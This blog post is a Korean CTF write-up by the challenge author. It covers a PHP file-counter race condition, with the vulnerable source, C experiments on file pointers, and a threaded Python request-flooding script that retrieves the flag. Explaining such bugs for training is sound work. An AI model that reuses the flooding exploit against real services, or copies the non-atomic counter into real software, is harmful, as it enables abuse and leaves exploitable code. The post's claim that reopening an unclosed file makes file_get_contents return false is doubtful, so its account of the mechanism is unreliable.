| by munsiwoo | No comments

Race condition vulnerability in PHP (feat. 고등해커)

고등해커는 올해 처음으로 학생이 주도 및 운영해본 교내 CTF입니다. 저는 CTF플랫폼 제작과 웹 문제 출제를 담당했으며, 출제한 문제 중 친구들이 재밌게 풀어준 count라는 문제에 대해 간단히 풀이를 작성해보겠습니다.

count는 PHP의 파일 입출력에서 발생할 수 있는 레이스컨디션 문제이며, flag를 얻는 것이 불가능해보이는 상황에서 레이스컨디션 공격을 이해하고 flag를 획득할 수 있는지 묻는 간단한 문제였습니다. 다음은 문제의 소스코드입니다.

<?php
error_reporting(0);
require_once 'flag.php';

if(isset($_GET['source'])) {
    show_source(__FILE__);
    exit;
}

$cnt_file = 'cnt';

if(!file_exists($cnt_file)) {
    file_put_contents($cnt_file, '10');
}

$cnt = (int)file_get_contents($cnt_file); // read count

if($cnt >= 30) {
    $cnt = 10;
}

$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt); // write count

if($cnt == 1) {
    die($flag);
}

echo "your cnt: ".$cnt;
?>
<br><a href="?source">source</a>

레이스컨디션(Race condition):

레이스컨디션은 한정된 리소스를 둘 이상의 프로세스가 동시에 이용하려고 경쟁하는 현상을 의미하며 이러한 특이점을 이용해 해커가 원하는 결과를 도출해내는 것을 레이스컨디션 공격이라고 합니다. 보다 자세한 정보는 링크를 참고해주세요.

count 문제는 레이스컨디션 공격을 통해 $cnt 변수를 1로 만들어 flag를 얻는 문제이며, 풀이를 설명하기 앞서 PHP의 file_get_contents 함수와 file_put_contents 함수의 내부 동작에 대해 알고있으면 좋습니다.

File I/O Functions of PHP

PHP의 file_get_contents, file_put_contents 함수는 가장 많이 쓰이는 파일 입출력 기능으로 fopen, fread, fwrite, fclose 등의 기존 파일 입출력 함수를 쓰기 편하게 하나로 합쳐놓은 함수입니다. 다음은 간단한 사용 예시입니다.

echo file_get_contents('readme.txt');
file_put_contents('writeme.txt', 'hello');

여기서 중요한 점은, 결국 PHP엔진은 C로 작성되었기 때문에 file_get_contentsfile_put_contents함수를 내부적으로 결국 fopen을 사용하여 파일의 포인터를 가져오며 이는 fclose로 닫아줘야 하는 것을 의미합니다.

만약 fclose함수를 호출하지 않은 열려 있는 파일 포인터를 fopen함수로 열면 어떻게 될까요? 한번 테스트해보았습니다.

#include <stdio.h>

int main(void) {
    FILE *f1;
    FILE *f2;

    char filename[] = "readme.txt";
    char text[100];

    f1 = fopen(filename, "wb");
    fprintf(f1, "hello");

    f2 = fopen(filename, "r");
    fread(text, sizeof(char), 100, f2);
    printf("%s", text);

    return 0;
}

f1 파일 포인터가 닫히지 않은 상태에서 f2로 readme.txt를 읽어보았습니다. 위 코드의 실행 결과는 다음과 같습니다.

root@munsiwoo:~# ./a.out
root@munsiwoo:~# 

파일의 내용이 나오지 않는 것을 확인할 수 있습니다. 다음은 fclose함수를 이용해 f1 파일 포인터를 닫아주는 코드를 추가하여 실행한 결과입니다.

#include <stdio.h>

int main(void) {
    FILE *f1;
    FILE *f2;

    char filename[] = "readme.txt";
    char text[100];

    f1 = fopen(filename, "wb");
    fprintf(f1, "hello");
    fclose(f1); // 추가된 코드

    f2 = fopen(filename, "r");
    fread(text, sizeof(char), 100, f2);
    printf("%s", text);

    return 0;
}

결과:

root@munsiwoo:~# ./a.out
hello

이제서야 정상적으로 출력되는 것을 확인할 수 있습니다. 다시 문제의 PHP코드로 돌아와, 만약 동시에 여러개의 스레드를 통해 아직 닫히지 않은(fclose함수가 호출되지 않은) 파일을 file_get_contents로 한번 더 fopen 했을 때의 동작을 예상할 수 있다면 해당 문제를 풀 수 있습니다.

결과적으로 이미 열려있는 파일을 file_get_contents로 가져오면 내부에서 false를 반환하게 되고 $cnt = $cnt + 1를 통해 $cnt에는 1이 들어가게 됩니다.

Intended solution:

import requests
import threading

def request(sandbox):
    global response
    uri = 'http://game.withphp.com/sandbox/' + sandbox
    response = requests.get(uri).text

if __name__ == '__main__':
    sandbox = '80e30ab2318c6a531cdde54c009a54ca/'
    response = ''

    while True:
        threading.Thread(target=request, args=(sandbox,)).start()
        if 'Sunrin{' in response: # flag format is Sunrin{...}
            print(response, flush=True)
            break

    print('End', flush=True)

Leave a Reply